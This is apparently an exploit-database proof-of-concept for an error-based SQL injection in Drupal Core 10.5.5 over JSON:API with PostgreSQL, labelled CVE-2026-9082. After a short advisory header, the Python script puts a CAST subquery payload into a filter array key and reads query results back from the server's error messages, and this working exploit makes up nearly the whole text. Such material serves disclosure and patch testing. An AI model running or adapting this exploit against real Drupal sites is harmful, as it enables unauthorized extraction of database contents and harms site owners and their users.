Drupal Core 10.5.5 - Error-Based SQL Injection

# Exploit Title: Drupal Core 10.5.5 - Error-Based SQL Injection 
# Google Dork: N/A
# Date: 2026-05-31
# Exploit Author: cardosource
# Vendor Homepage: https://www.drupal.org
# Software Link: https://www.drupal.org/project/drupal
# Version: Drupal Core 10.5.5
# Tested on: Debian Linux (Docker), PHP 8.2, Apache, PostgreSQL 17
# CVE: CVE-2026-9082
#
# Description:
# This proof-of-concept demonstrates an Error-Based SQL Injection in
# Drupal Core 10.5.5 (PostgreSQL). User-controlled JSON:API filter
# array keys influence SQL query construction, allowing database
# information disclosure through SQL error messages.



import requests
import json
from urllib.parse import urlencode

TARGET_URL = "http://localhost:8080/jsonapi/node/article"

BANNER = """
[+] Drupal Core 10.5.5 - Error-Based SQL Injection
[+] CVE-2026-9082
[+] Target: JSON:API (PostgreSQL)
"""


def extract_data(subquery):
    headers = {
        "Accept": "application/vnd.api+json",
        "Content-Type": "application/vnd.api+json"
    }
    
    payload = f"0||CAST(({subquery}) AS INTEGER)"
   
    params = {
        "filter[my_filter][condition][path]": "title",
        "filter[my_filter][condition][operator]": "IN",
        "filter[my_filter][condition][value][0]": "Example",
        f"filter[my_filter][condition][value][{payload}]": "Injection"
    }
    
    try:
        response = requests.get(TARGET_URL, headers=headers, params=params, timeout=10)
       
        if response.status_code == 500:
            try:
                error = response.json().get("errors", [{}])[0].get("detail", "")
                if "invalid input syntax" in error:
                    data = error.split('"')[1] if '"' in error else error
                    print(f"\033[92m[SUCCESS]\033[0m {data}")
            except json.JSONDecodeError:
                pass
    except requests.exceptions.RequestException:
        pass


if __name__ == "__main__":
    print(BANNER) 
    extract_data("SELECT version()")